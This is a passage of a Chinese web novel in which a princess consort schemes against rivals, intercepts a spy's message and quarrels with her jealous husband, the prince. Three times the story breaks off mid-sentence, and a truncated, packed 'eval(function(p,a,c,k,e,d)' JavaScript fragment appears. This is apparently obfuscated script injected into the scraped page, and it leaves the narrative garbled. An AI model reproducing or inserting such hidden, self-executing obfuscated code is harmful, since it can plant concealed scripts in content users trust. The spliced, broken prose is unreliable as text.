酒娘们一个个穿得暴露,跟妖精似的来回在男人堆里穿梭。 温斩月刚一进门,就感觉自己仿佛是掉进了妖精洞里,举目望去,全都跟个妖孽似的魅惑人心。 怪不得谢洲白这么快就能忘了旧爱。 这可是真是个极好的温柔乡。 温斩月虽然套着面具,但依然遮掩不住她浑身的华贵,最会看人下菜碟酒娘们当然不会放过任何一个赚钱的机会。 看到温斩月走进,全都一窝蜂地涌上来。 “公子,来奴家房里,奴家有好喝的酒~” “还是来奴家这里吧,奴家很会伺候人的。” “我跳舞好看,公子要看吗?” 几个人将温斩月围起来,好像要吃了温斩月一样。 温斩月不为所动,从怀里拿出一锭金子,在几个人面前晃了晃,那些酒娘们一个个见钱眼开,身段扭得越发用力了。 “公子,就去奴家房里吧~” “我谁的房里都不去。”温斩月看向不远处角落里无人问津的谢洲白。 “你们谁伺候好他,这金子就归谁。” 一听这话,酒娘们纷纷朝着角落里走去。 温斩月找到另一处角落,招呼小二上来一壶酒,一边喝,一边看着酒娘们在谢洲白面前使出浑身解数。 一开始温斩月以为谢洲白一定会来者不拒,毕竟软香温玉在怀,又有几个男人能拒绝的了? 但没想到,谢洲白只是一个劲儿地喝闷酒,完全不为那些酒娘所动。 那些酒娘实在是没招了,只能全都回到温斩月身边来。 “公子,那个人也太没有情趣了,我都快贴到他身上了,他还是只想喝酒。” “就没见过这样的,要是喜欢喝酒,去酒坊便是,来我们这里做什么。” “就是,真晦气。” 酒娘们你一句我一句,尽是对谢洲白的不满。 温斩月掏出金子放在几人的面前,“拿去分了吧。” “谢谢公子,公子真是个好人。” 酒娘们本来以为自己拜拜忙活了一场,没想到居然这么轻松就拿到了钱,纷纷对着温斩月点头致谢。 温斩月绕开酒娘们,来到谢洲白的面前。 “这酒这么好喝吗?”温斩月夺下谢洲白的酒杯。 她目光侵略的盯着男人,眼里带着审视。 大概是因为温斩月穿的男装,迷惑了谢洲白,他放下戒心,从温斩月的手里拿过酒杯,又给自己满上。 “兄台想喝自己拿,我请你。” “多谢。”温斩月轻笑,拿起酒杯给自己满上。 “实不相瞒,今日我实在是心中困苦,不知兄台可否为我解惑?” 谢洲白没说话,继续喝闷酒。 温斩月也不恼,自顾自地说道:“我有一个从小一起长大的青梅竹马,她美丽,知性,温柔,不瞒兄台,我一直都很喜欢她,做梦都想要娶她为妻,她也十分喜欢我,但就因为我没钱,没权,只能眼睁睁地看着她嫁给别人。” 说到这里的时候,温斩月垂眸,看上去好像真的很伤心。 谢洲白似乎被这个故事触动,他苦笑一声。 “没想到天下苦情人这么多,并非只有我一个。” “哦?”温斩月拖长语调,“兄台难道也是被情所伤?” “算是吧。”谢洲白放下手中的酒杯,“和你的故事差不多,我心爱的姑娘也要嫁人了。” “这些负心人是不会有好下场的!”温斩月故意道:“兄台,不如我们一起找上门去,坏了她们的婚事如何?是她们先不仁,那就不能怪我们不义!” “你怎么能这么想?”谢洲白猛地瞪大眼睛。 “虽然不能在一起,但我也不恨她,要怪就怪我不够好,若我能权倾朝野,她何至于如此艰难?” “再说了,你与她在一起时,就什么都没有,她陪你走了那么久,如今只是选择去过更好的生活,你怎么能毁了她呢?” “兄台,你听我一句劝,切莫做让自己后悔的事情。” 刚才酒娘们磨破了嘴皮子,谢洲白半个字都没有,仅仅只是因为温斩月这一句话,就竹筒倒豆子的说了这么多。 果然,人只要有了软肋,就很好攻破。 “兄台此言差矣。”温斩月再度道:“她们就是嫌贫爱富,否则,怎么会选择放弃我们,和有权有势的男人在一起呢?” “要我说,不如找到她们府上,直接毁了她的清白,让她除了我再也嫁不了人!” “胡闹!”谢洲白猛地站起身。 “你太自私了,这根本不是爱!”谢洲白愤愤道:“喜欢一个人应该是为了她好,而不是满足你的一己私欲,你这样的人,我只能庆幸你喜欢的那位姑娘瞎了眼,我是绝对不会像你一样,去毁了她。” “我得不到,我也希望她好。”说完,谢洲白丢下一锭银子,头也不回地离开。 温斩月嘴角带着笑意。 她没想到秦落雪人不怎么样,但是挑男人的眼光却不错。 本来是想从谢洲白下手,去对付秦落雪,但现在看来,这步棋还得往后放放。 离开画杏坊,温斩月本打算回府。 刚走了没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她把飞镖揣在怀里,然后看了一眼地上昏迷不醒的谢洲白。 要是放任男人在这里,估计等到天亮,人就要断气了,可若是带回王府,那她的身份也瞒不住。 犹豫片刻,温斩月还是将人拖了起来。 她没有那么好心,今晚救了谢洲白,迟早有一天,要他还回来。 …… 夜王府,前院。 容妄练完了一轮剑,还未看到温斩月回府的影子。 青澜上前,将手中的帕子递过去。 “王爷别等了,春夜回来时便说王妃有事,估计要很晚才能回来。” “无碍。”容妄接过手帕,擦了擦汗。 “紫英走了吗?” “走了。”青澜恭恭敬敬道:“她休整了一日,便离开了王府,走的时候还要属下告诉王爷,她一定不负使命。” “嗯。”容妄擦完汗,又开始练剑。 青澜站在一边看着,心中忍不住夸赞,自家王爷的剑术又精进了,日后想要找到旗鼓相当的对手,可就太难了。 又一轮剑练完,容妄还是没能等到温斩月。 “还不回来?”容妄嘀咕一声,将手里的剑递给青澜。 “把剑收了,本王去找找王妃。” “那么大人了,又不能丢……”青澜说到一半,被容妄一个眼神喝退,急忙改口:“还是去找找吧,这么晚了,王妃生的那般好看,万一遇见歹人可如何是好?” 容妄留给青澜一个算你识相的表情,随后没再理会青澜,整了整衣服,朝着外面走去。 刚出了王府大门,就看到温斩月勾肩搭背的拖着一个男人,正步履缓慢地走来。 容妄来不及多想,快步上前,一把将人从温斩月的手里捞过来。 突然被卸了力,温斩月一愣,抬起头才看到气势汹汹的容妄,她还没来得及介绍谢洲白的身份,就被容妄先发制人。 “他是谁?你为什么和他在一起?”容妄黑着脸,沉声道。 第33章 背着他养别的男人 明明什么猫腻都没有,但当着容妄的面,温斩月就是有些莫名心虚。 “不认识,捡来的。”温斩月揉了揉酸痛的胳膊。 谢洲白看着挺瘦的,但昏迷不醒的男人跟猪一样沉,她一路拖着走过来肩膀实在受不住。 “捡来的?那儿捡的?怎么就这么凑巧,是你捡到了他?”容妄夺命三连问。 没有等到温斩月的回答,便要嫌弃的将人扔掉。 温斩月急忙拦住,“救人一命胜造七级浮屠,不能就这么扔下。” “你想带回王府?”容妄拔高了语调。 温斩月顿时有一种自己敢点头,就一定会被容妄掐死的感觉。 “当然不能带回王府。”温斩月指了指王府旁边的宅子。 “把他送到梨落那里去就好。” 容妄阴沉的脸色总算是好看一些了,他将人拖到门口,吩咐青澜把人送去隔壁的宅子里,然后拉着温斩月,直奔锦绣阁。 刚一进门,容妄就开始质问。 “你去哪里了?怎么穿成这个样子?” 容妄问了,温斩月才想起来自己穿的男装,脸上还带着面具,她顿时有些好奇起来。 “王爷是怎么认出我的?” “本王不会认错自己的王妃。”容妄依旧冷着脸。 温斩月取下脸上的面具,走到一旁坐下。 “我去了画杏坊。” “你再说一遍你去了哪儿?”容妄步步逼近,将温斩月圈禁在自己怀里。 “说,去那种地方做什么?” “还能做什么?”温斩月存了要逗容妄的心思。 “当然是……” “温、斩、月!”容妄好看的星眸里沉着熊熊燃烧的怒火。 但他还没来得及发作,温斩月便仰头,吻上了他的薄唇。 “果然。”温斩月噙着笑。 容妄蹙眉,“果然什么?” “画杏坊的小倌儿的确比不上我温斩月的夫君。” “你拿本王和小倌儿比?” 容妄好不容易降下去的火气,再一次因为温斩月的一句话又冒了上来。 “说,你哪里碰了他?” “王爷自己来检查。” “这可是你说的。”容妄抱着温斩月走向床边。 两人已经初尝情欲,知道那滋味的确十分舒爽,尤其是容妄,他禁欲多年,外界早就传他不近女色。 甚至还有人怀疑,青澜就是他养的禁脔。 他并不把一些普通的胭脂俗粉放在眼里,但他的阿月不同。 第一次洞房花烛时,他的冷箭擦过她白嫩的脖颈,流出艳艳鲜血的那一刻,他就已经被触动了。 后来虽然还在置气,但他也清楚。 这辈子不会再有人像他的阿月一样,让他动心。 密密麻麻的的吻落下,容妄小心翼翼中带着一丝刻意的隐忍。 但他又很想用力。 想把怀里的人揉碎了,镶嵌在自己的身体里,让她绝对的属于他。 “看着本王。”容妄低沉的声音响起。 “你是本王的人,你的目光不能看见旁人。” 温斩月被容妄强迫着对视,她媚眼如丝,吐气如兰。 “若是臣妾非要看呢?” “那本王就戳瞎你的眼睛,找个铁链把你锁在本王的身边,以后好吃好喝的养着你,但决不允许你离开本王半步。” 这种话对于别的人来说,或许会害怕。 可听在温斩月的耳朵里,她当真是觉得悦耳极了。 “在我的眼里,只有你。”温斩月吻上容妄的眉眼。 柔软的触感像是一个完美的诱惑,容妄抱紧怀里的人,呼吸倏地紧凑起来。 “王爷,风将军求见。”青澜扫兴的声音在门外响起。 容妄不予理会,可青澜语气急切,再度道:“王爷,风将军连夜来访,定是有极重要的事。” “起来吧。”温斩月推着容妄。 “正事要紧。” “你才是正事。”容妄不肯就这么算了。 但温斩月却已经穿好衣服,从容妄的怀里钻出来。 “我们来日方长。” 容妄**难消,不想对着温斩月发火。 他从床上爬起来,怒气冲冲地穿好衣服,来到门口。 青澜一看自家王爷的脸色就知道自己来的不是时候,可都已经打扰了,再说什么都无济于事,只好硬着头皮。 “王爷,风将军在前厅等着,属下看他的样子挺急的……” “最好是有天塌下来的事,否则,本王拿你祭军旗。”容妄恶狠狠道。 青澜缩了缩脖子,只能祈祷风展将军大半夜的不是跑来王府抽风,他可不想真把自己的小命拿去祭军旗。 容妄一走,温斩月便从床上下来了。 她猜的出来,风展肯定是为了白日里市面上的流言蜚语而来。 这是顶顶要紧的事,她不想缠着容妄。 更何况,她也想趁机去探听点别的。 换好夜行衣,温斩月飞身出府,身影很快就消失在浓郁的夜色里。 …… 定国公府,烛火跳跃。 秦落雪站在窗前,看着外面的夜色,紧了紧身上的披风。 “小姐怎么还不睡?”丫鬟绿珠从外面走进来,手里拿着安神香。 她动作利落地燃香,随后又看向窗边的人。 “小姐,别多想了,现在的局势于我们有利。”绿珠走过来。 “奴婢听说如今外面已是流言满天飞,林清霜和风展将军的事情,传的到处都是,恐怕夜王妃要为此头疼上好一阵了。” “绿珠,我有点后悔了。” 秦落雪转过身,双眼红红的,一看就是刚哭过。 “你和我最是知道那种滋味,若是温斩月也就算了,她本来也不是什么好东西,可林清霜不一样,她的日子比我们还要难。” “利用她,我始终都于心不忍。” “更何况,我只是想要温斩月的婚宴难堪,并不是真的想要逼死林清霜。” “流言到底怎么散播出去的,我到现在都没有一点思绪。” 顿了顿,秦落雪接着道:“这一点让我十分不安,总感觉身边危机四伏,我现在真的害怕自己一不小心走错了路,落得个万劫不复的地步。” “不会的,小姐。”绿珠安抚道。 “只有小姐才是真正的赢家。” “可是……” “没什么好可是的。”绿珠打断,“小姐放弃了谢公子,就是为了爬的更高,如果现在后悔,那谢公子岂不是很委屈?” 一提到谢洲白,秦落雪对于林清霜的愧疚便少了几分。 的确,这个世上她最对不起的人,只有谢洲白。 “你说的是,我连谢洲白都能放弃,还有什么是我不能利用的。” 秦落雪擦干脸上的湿润,朝着里间走去。 与其在这里伤春悲秋,不如好好休息,等到明日去宫里扇扇风点点火,达到自己的目的才是最最紧要的。 绿珠伺候自家小姐睡下,这才从房里退出来, 来到院中,她朝着四周看了看,确定没有人盯着,这才拿出早就准备好的信鸽放飞。 鸽子冲向黑夜,很快就消失不见。 但在绿珠没看到的角落里,信鸽被一支飞镖射落。 一直躲在角落里的温斩月现身,捡起了地上的信鸽,从鸽子腿上取下一张纸条。 她就知道梨落一心只想着赚钱,肯定不会听她的,好好盯着定国公府。 果不其然,还是她自己亲自出马,守株待兔。 打开纸条,上面只有八个字。 “事已办妥,走下步棋。” 温斩月将纸条卷好,重新找了一只信鸽放飞。 她早就猜出来,肯定是有人躲在背后,利用秦落雪为她义父办事。 毕竟这件事情不管怎么看,都是她义父坐收渔翁之利。 只是她没想到义父真是走一步算了八百步,连秦落雪身边的贴身丫鬟都能策反。 别说是秦落雪了,就连她都觉得吃惊。 查到义父埋在京都的棋子,虽然暂时只有一枚,但温斩月也稍稍放心了些。 她可以帮助义父做任何事,但容妄不能动,要是拔不出所有棋子,她始终是悬着一颗心。 离开定国公府,温斩月回到锦绣阁的时候,容妄还没回来。 她换好衣服,躺在床上开始思考下一步棋怎么走。 想着想着,困意来袭,温斩月睡了过去。 半梦半醒之间感觉有人亲了她的额头,但第二天醒来后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“麻辣烫。”梨落把筷子递给温斩月。 “尝尝,我告诉你,没有一个人可以拒绝一份鲜香麻辣的麻辣烫,如果有,那就试试两份。” 听着名字倒是很新奇,温斩月接过筷子尝了一口。 她很难形容那个味道。 但梨落一看就知道她喜欢,因为温斩月的眼睛亮了。 “好吃吧,我跟你说,这个东西整个京都城独一份,我不赚钱谁赚钱?”一想到自己的不夜城马上就要开起来,梨落仿佛看见银子在冲着她招手。 “我都想好了,菜名我不打算改,但是招牌还是要改的,你觉得张亮麻辣烫怎么样?” “张亮是谁?”温斩月不解。 梨落摆摆手,“不重要,你要是不喜欢张亮,杨国福也可以。” 温斩月:“杨国福又是谁?” 梨落:“……” 她忽然有一种独在异乡为异客的感觉。 “没什么,招牌的事我自己再想想吧。” “行。”温斩月点头。 她快速的吃完了面前的麻辣烫,肚子被填满,饥饿的感觉在消减。 梨落坐在桌边,满意的看着温斩月空盘。 “宝贝,你真棒。”梨落将碗筷收拾起来,“对了,今天来除了让你尝尝我新研发的菜之外,我还有件事要问你。” “什么事?” “你往我院子塞进来的男人是谁?”梨落满脸疑惑。 “虽然他长得的确不错,但本姑娘我现在一心只想赚钱,无心于美色,你送一个男人过来,无异于抛媚眼给瞎子看。” “你想多了。”温斩月拿起茶水漱漱口。 “你安心照顾好他便是,至于他的身份不用管,当然,你也不用费多少心思,保证他活着就行。” “对了。”温斩月提醒道:“不要告诉他我的身份,他醒来若是问你是谁救了他,你就说是月公子。” “你到底在玩什么把戏?”梨落眼中带着戏谑。 “你家王爷知道你背着他,养着别的男人吗?” 第34章 一塞塞两个 想起昨晚容妄因为谢洲白罐子打翻了的样子,温斩月就觉得心里甜丝丝的。 “行了行了。”梨落抖落一地的鸡皮疙瘩。 “我是希望你俩恩恩爱爱,但能不要当着我的面这样显摆嘛。” “你嫉妒?” “我嫉妒个屁。”梨落忍不住爆了一句粗口。 她就是有一种自己辛辛苦苦养大的白菜被一头猪拱了,虽然这头猪举手投足,都是她见过最有魅力的猪。 但她依然觉得心里不舒服。 温斩月笑而不语。 梨落冷嘲,“等我的不夜城开起来,我就是天月第一女首富,有的是美男往我身上凑,到了那时候,谁嫉妒谁还不一定呢。” “好了。”温斩月收起开玩笑的表情。 “还有一件事要同你说,可以把定国公府的眼线撤回来了。” “秦落雪排除嫌疑了?” “不。”温斩月摇头,“是我已经知道义父埋在京都的棋子是谁了。” “你怎么知道的?”梨落不解地追问。 温斩月敲了一下梨落的脑袋。 “你现在满脑子想的都是如何赚钱,心思根本没在别的上面。” “我不放心,所以昨晚夜探了定国公府。” “那棋子正要传信给义父,被我抓了个正着。” 梨落自己也心知肚明,知道是自己没办好,只能抓着温斩月的胳膊就开始撒娇。 “术业有专攻,我本来就不擅长盯梢这种事,你把我放到该放的地方,我保证以后让你有花不完的钱。” “行了,别贫嘴了。” 温斩月把给林清霜配好的药给了梨落。 “这是林清霜的解药和配方,你出去办事的时候,替我交给她。” “放心,这件事情肯定给你办的漂亮。” 梨落拿了解药和配方便走了。 温斩月也揣着给容妄新配的生息粉离开锦绣阁。 夜王府,前院。 容妄擦着手里的剑。 在他面前站着皇后赵如银身边最亲近的刘嬷嬷。 而刘嬷嬷的身后,跟着两名姿色不错的女子。 “王爷,这两位都是皇后娘娘亲自为您挑选的可人儿,不能说琴棋书画样样精通,但唱个曲儿,解个闷,是没有问题的。” 刘嬷嬷说着,把身后的女子往前一推。 “翠月,柳月,你俩愣着干什么?还不快过来参见王爷。” 被唤作翠月柳月的女人身体控制不住的发抖,她们都听说过夜王殿下残暴不堪,可违抗皇后娘娘的命令,那就是死路一条。 尽管心中害怕,两人还是上前,跪下。 “奴婢柳月,参见王爷。” “奴婢翠月,参见王爷。” 容妄连多余的眼神都没给,只是淡淡的说了句。 “带走,本王不需要。” “这……”刘嬷嬷一脸的为难。 “王爷就不要推辞了,皇后娘娘说了,若是王爷执意不收的话,就把她们处死,反正她们本就是罪奴之身。” “当初就是皇后娘娘心有怜悯,才留她们一命,但她们若是能讨王爷欢心,留着也没什么用,还不如处死算了,反正她们本来也是要死的。” 刘嬷嬷看似说得谦卑,但暗地里却有逼迫之意。 若是换个人,这招或许有用。 但容妄不吃这一套。 “何须这么麻烦,本王现在就可以处死她们。”说着,容妄拿剑挑起翠月的下巴。 翠月本来就害怕,被这么一吓,来不及求饶便晕了过去。 容妄皱起眉头,心中更是不屑。 这世上姿容好的女人如过江之鲫,但谁都不如他的阿月。 见此情况,刘嬷嬷心里也怵得慌。 可一想到皇后娘娘临出宫时,对她的叮嘱,她就又只能硬着头皮道:“人我已经送到了,至于王爷怎么处理,那都是王爷自己的事情。” “老奴还有事,就先告辞了。”说完,刘嬷嬷看了一眼瑟瑟发抖的柳月,转身打道回宫。 刘嬷嬷一走,柳月更害怕了。 她跪着爬过来,声音都带着颤抖。 “王爷,您就留下奴婢吧,奴婢绝不敢痴心妄想,只要让奴婢在身边侍奉,端茶倒水也行的,奴婢都能做。” “你这样的脸,做这些事岂不是可惜了?”温斩月的声音从一旁传来。 她来的及时,亲眼目睹了刚才发生的一切。 容妄将手中的剑放到一旁,站起身来,走到温斩月跟前。 “你怎么来了?” “送东西给王爷。”温斩月将生息粉交给容妄。 她的目光在翠月和柳月身上来回扫了一眼,最后,意味深长地看向容妄。 “皇后娘娘待王爷是真好,刚刚新婚,就怕臣妾伺候得不得当,专门派了两个绝色的侍妾给王爷。” 明明是很普通的一番话,但容妄就是从这番话里感受到了杀意。 他勾起唇角,眼里带笑。 “你吃醋了?” “不至于。”温斩月来到桌前,拿起容妄的剑。 她还没做什么,柳月便急忙磕头认罪。 “王妃饶命啊,奴婢也是迫不得已,王妃可以放心,奴婢绝对不会生出别的心思,只要王妃留奴婢一命!” 柳月磕着响头,很快额前就一片血红。 温斩月有些意外。 看这场面,大有直接磕死在她面前的架势。 “皇后不会是跟你们说,如果本宫不收下你们,就要你们寻个由头,死在王府吧。”温斩月笑的阴冷。 柳月心里直发慌,但还是硬着头皮道:“王妃误会了,娘娘仁慈,没有这样说过。” “是吗?”温斩月提着剑,来到柳月的面前。 “柳月,翠月。”温斩月眼中浮现一丝疯批的光芒。 “她故意起这样的名字给你们,不就是为了专门来恶心本宫吗?真是可惜了,她赵如银算错了,本宫从来都不是一个好惹的主。” “王妃,娘娘真的没有针对王妃,她也是好意,觉得月这个字十分好,这才赐名给奴婢,王妃要是不喜欢,奴婢改就是了。” 柳月说得委屈巴巴,看得温斩月心里直窝火。 “月这个字的确很好。”容妄走过来,站在温斩月身旁。 “但也要看看自己配不配,也不是随便什么人都能用这个字的。” “奴婢没有冒犯王妃的意思,只要王爷留下奴婢,王妃想叫奴婢什么,奴婢就叫什么。”柳月说着,眼泪吧嗒嗒地往下掉。 看着好似受了天大的委屈。 “既然你这么想留下,那就留下吧。”温斩月用剑挑起柳月的下巴。 “本宫也不是小气的人,你和她都可以留下,但名字本宫不喜欢,你以后就叫良辰,她叫美景。” “多谢王妃赐名,奴婢以后一定乖乖听话,好好伺候王爷和王妃。” 柳月擦干眼泪,拖着昏迷的翠月下去安顿。 两人一走,容妄就迫不及待地夺下了温斩月手里的剑。 “这件事,你若是不给本王一个交代,本王很难放过你。” “什么交代?”温斩月带着怒意。 “臣妾一心在王爷身上,可王爷呢?小青梅秦落雪还没处理完,又来了即便嫁人都还要操心王爷的皇后。” “王爷与臣妾乃是新婚,民间的百姓但凡懂事点的,都不会往新婚夫妻的房里塞人。” “王爷倒好,一塞塞两个。” 温斩月心里的确跟扎了根刺一样的别扭。 她喜欢容妄。 她希望容妄只是她一个人的。 她不喜欢容妄喜欢别人,也不喜欢别人喜欢容妄。 “本王好生委屈。”容妄放软了语调,“这些都是旁人的主意,和本王没有关系,本王现在就将人打发出去。” “不必了。” “你什么意思?”容妄低沉着声音。 “你真想本王有其他女人?” “王爷想的倒是美。”温斩月没好气的白了他一眼。 “臣妾丑话说在前头,王爷要是敢动她们,臣妾就把王爷那玩意儿切下来喂狗。” 能在容妄面前这么放肆,口出狂言的,从古到今,只有温斩月一个人。 “那不行。”容妄环抱住,“没了它,你不是也受罪吗?” 温斩月没心情接茬,她一把推开容妄。 “赵如银能坐上皇后的位置,除了她的家室之外,肯定是有些手段的,就算她真的要恶心我,也不会用这么上不了台面的伎俩。” “要知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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容妄走了,留下青澜一个人拎着食盒,欲哭无泪。 他不想坐以待毙,只好把主意打到春夜的身上,反正春夜是王妃的贴身丫鬟,如果能说几句王爷的好话,说不定王妃就不生气了。 青澜抱着这样的目的去找春夜,没想到春夜一听连忙拒绝。 “你还是**这条心吧。”春夜头摇得跟拨浪鼓似的。 “现在整个夜王府里,王妃才是天,你抱紧王爷的大腿是没有用的,还是要看王妃的脸色。” “那我不是死定了?” “也不是没有其他路。” 春夜招呼青澜凑近一些,“我偷偷跟你说,王妃心里最在意的人不是王爷,是梨落姑娘,你要是能说服梨落姑娘,我感觉你这一关就算是过了。” “梨落姑娘在哪里?”青澜现在不放过任何一个可以活命的机会。 春夜摇摇头,“不知道,梨落姑娘很忙的。” “算了,我自己去找。”青澜把手里的食盒递给春夜,“谢谢你,赏你了。” 青澜离开后,春夜打开食盒看了一眼,没什么兴趣。 自从她吃了梨落姑娘的臭豆腐以后,感觉这些点心味道实在一般,不知道王妃怎么就这么喜欢? …… 皇宫,清心殿。 赵如银侧卧在贵妃椅上,几个宫女跪在一旁给她捶腿捏肩。 一旁的刘嬷嬷恭恭敬敬道:“娘娘,人都已经送到王府了,盯着的人回了话,王爷并未将她们赶出去。” “他收了?”赵如银有些意外。 这么多年,她一直都想给容妄张罗亲事,但每一次都被容妄拒绝了。 刘嬷嬷点点头,“收了。” “奇怪。”赵如银疑惑地皱起眉头。 “就算容妄肯,他那个毒妇王妃也愿意?” “愿意的。”刘嬷嬷将柳月的话转述。 “柳月递出来消息,说留下她们的正是夜王妃,夜王妃也并没有为难她们,只是觉得她们名字膈应,强行让她们改了。” 第35章 区区男二 这个结果让赵如银十分意外。 她挥挥手,示意宫女们退下去。 “娘娘,可是觉得有什么不妥?”刘嬷嬷发出疑问。 赵如银没说话,只是阴沉着脸。 她和容妄的那个毒妇王妃打过交道的,上次那毒妇从宫里离开后,她就生病了。 浑身发红发痒,难受了好几天。 御医前来瞧过,没查出是什么缘由导致的,但她心里总觉得就是那毒妇捣的鬼。 这次将翠月柳月两人派出去,除了那件事之外,她也想恶心一下温斩月。 “娘娘,夜王殿下来了。”宫女在殿外禀报道。 赵如银从贵妃椅上站起身来。 这么晚了,容妄找她做什么? 不等她想清楚,便看到容妄大步流星地从外面走进来,脸上的怒气未消,看着就像是来兴师问罪的。 “参见王爷。”刘嬷嬷规规矩矩地行礼。 容妄看都没看,直接略过,目光直勾勾地盯着赵如银。 “臣今天来只为一件事。” “娘娘从小便待臣不错,臣也一直视娘娘为长姐。” “阿月是臣的妻子,臣也希望娘娘能待她如臣一般,莫要让臣觉得为难。” 寥寥几语,却重如千斤。 赵如银不可置信地盯着容妄。 这些话虽然没有一个字责怪她,但话里话外,全是怪罪之意。 “你既然将本宫视作长姐,本宫便不能不管你的事。”赵如银走到容妄面前。 “那毒妇给你下毒,逼你娶她,本宫决不能忍。” “娘娘说错了。”容妄声音凉凉道。 “这个世上若说有谁能让臣心甘情愿地娶了,那便只有她。” “什么意思?”赵如银眼中锋芒一闪。 “你当真心悦她?” “是。”容妄毫不犹豫地点头。 “臣只钟情于阿月。” 话已说到这个份上,赵如银还有什么不明白的,若两人真是互相喜欢,那她往人家新婚夫妻房里塞人可就太不地道了。 赵如银借口头疼,将容妄送走。 自己在清心殿里越想越没觉得不对劲。 她好像是被人做局了。 …… 夜王府,锦绣阁。 梨落一大早便来找温斩月。 两人收拾一番,便来到了东六街上。 这段时间梨落一直在忙着东六街的翻新,那些脏乱差的商铺全部被梨落重新装修了,还在商铺面前,留出了一条街的摊位。 “看到了吗?这是本姑娘为你打下的江山。”梨落带着温斩月站在珍宝楼二楼窗前,雄心壮志道。 温斩月点点头,眼底的欣赏都快要溢出来。 她早就知道在做生意这方面,梨落极有天赋。 等到不夜城开起来,钱真能多到花不完。 “今天找你来,是想要你一起看看招商,目前摊位很多,但是东六街的生意一直不好,大家都没什么信心,所以我想让你帮我组织一场招商会,吸引更多的人来。” “要我怎么做?” 梨落从抽屉里拿出一份名单,递过去。 “这些人都是参加过你的婚宴的,我当时做了一个备份,上面的人非富即贵,我想按照名单做一份邀请函,然后让他们都来参加招商会。” “有需要我的地方?” “当然。”梨落有些丧气道:“我虽然是在夜王府掌家,但毕竟没有真的权利,送出去的请帖都被打发回来了。” “那些人不敢得罪夜王府,说出来的话都很好听,我一时也找不到他们的错处。” “所以啊,还得是宝贝你出马。” 温斩月接过名单,打开一看,上面有几个红笔圈出来的名字。 “这是?” “你只要搞定上面标红的这几个,剩下的人都是墙头草,根本不需要费什么力气,他们就会乖乖来的。” “知道了。”温斩月将红笔圈出来的名字,一一记下。 “有个人你需要特别注意。” 梨落拉着温斩月来到桌前坐下,抬手给温斩月倒了一杯茶。 “上官白。”梨落介绍道:“这人有点背景,他的姑妈是当今的太后。” “虽说太后如今已经不理朝政,但据我了解,她十分疼爱这个侄子,毕竟上官家养了十个女儿才出了这么一个宝贝疙瘩。” “这个人跟你的夜王殿下一直都不对付,但他太有钱了,我真的很眼馋。” 梨落实话实说,没有半点隐瞒。 温斩月端起茶杯,抿了一口。 “你要真的喜欢他的钱,我也可以给你抢来。” “这不太好吧。”梨落急忙摇头,“抢来的总归是不安心的,况且这里是京都,我们还是不要太嚣张。” “行,我知道了。” “对了。”梨落眉头紧皱,“你去找他的时候,态度记得放好一点,横竖是个人脉,万一以后用得上呢。” “我有分寸。”温斩月离开珍宝楼。 雅间的门刚关上,梨落便疼得躺在地上来回打滚。 汗水布满了她的额头,浸湿了她的衣衫。 卷起袖子,胳膊上密密麻麻的咒文越发清晰。 梨落咬着下嘴唇,血色顺着唇角流下,看着好不凄惨。 “我正常走剧情,你凭什么罚我?” “上官白只是区区男二,改变一下他的剧情又不影响主角的感情线。” “好疼,你快停下!” “我以后再也不干预了!” 大概是因为这句保证,胳膊上的疼痛慢慢消失,可咒文的颜色又变深了。 梨落瘫在地上,目光看向紧闭的房门。 这是她第二次干预剧情了。 也是她来到京都后埋下的第二步棋。 她不知道自己是不是在做无用功,但只要还有一丝机会,她就绝不会放弃。 …… 温斩月离开珍宝楼后,去西四街上挑选了一些礼物。 连拜帖都没下,直接去了上官府。 上官白大概是真的不喜欢容妄,府邸离夜王府很远,几乎是一个在城东,一个在城西。 温斩月是夜王妃,按照身份,她不比上官白低。 但她报出自己的身份时,管家却将她拦下。 “夜王妃,您今日来得实在是不凑巧,我家小公爷不在府上。” “他去哪里了?” “这……”老管家一脸为难,“小公爷是主子,他去哪里怎么会告诉我们这些做下人的。” “那本宫去府里等他。”说着,温斩月便要闯进去。 老管家急忙吩咐家丁上前,将温斩月团团围住。 “夜王妃,这是我们上官家的府邸,您怎么能随便闯入呢?若是我家主子不高兴了,去太后面前告你一个私闯民宅之罪。” “好啊,去告。”温斩月不理会,依旧往里面走。 老管家一看温斩月压根不吃威胁这一套,只能改变策略。 “夜王妃敬酒不吃吃罚酒,那就不要怪我不客气了。”说完,老管家朝着家丁们示意。 这些家丁都是练家子,拳脚功夫很是了得。 但他们碰上的人是温斩月。 说句实在话,再来一群,也未必是温斩月的对手。 几乎不费什么吹灰之力,温斩月便将面前的众人全部都打在地上,爬不起来。 老管家见状要想溜走报信,却被温斩月一把薅住了头发。 “管家有句话说错了,敬酒不吃吃罚酒的不是本宫,而是你们。”说着,温斩月拽着老管家就要往里面走。 “带本宫去找上官白。” “不然,本宫就再辛苦一些,把你的头发拔下来做琴丝。” 府邸内院里,花圃凉亭中。 一群穿着清凉的舞女跳着当下最时兴的艳舞。 上官白一边吃着葡萄,一边欣赏着丝竹悦耳,十分享受。 “公子,你听听奴家的心慌不慌?”一旁的歌姬唱完一曲后,来到上官白身边坐下。 浑身的骨头好像被抽掉了一般,柔弱无骨地靠在上官白的怀里。 “本公子这就来听听。”上官白放下手里的葡萄。 他还没有靠近歌姬,就被一道迎风而来的飞镖擦破了脸。 歌姬吓了一跳,直接从位置上滚了下去。 上官白擦了把脸,看到血色时,脸色一暗。 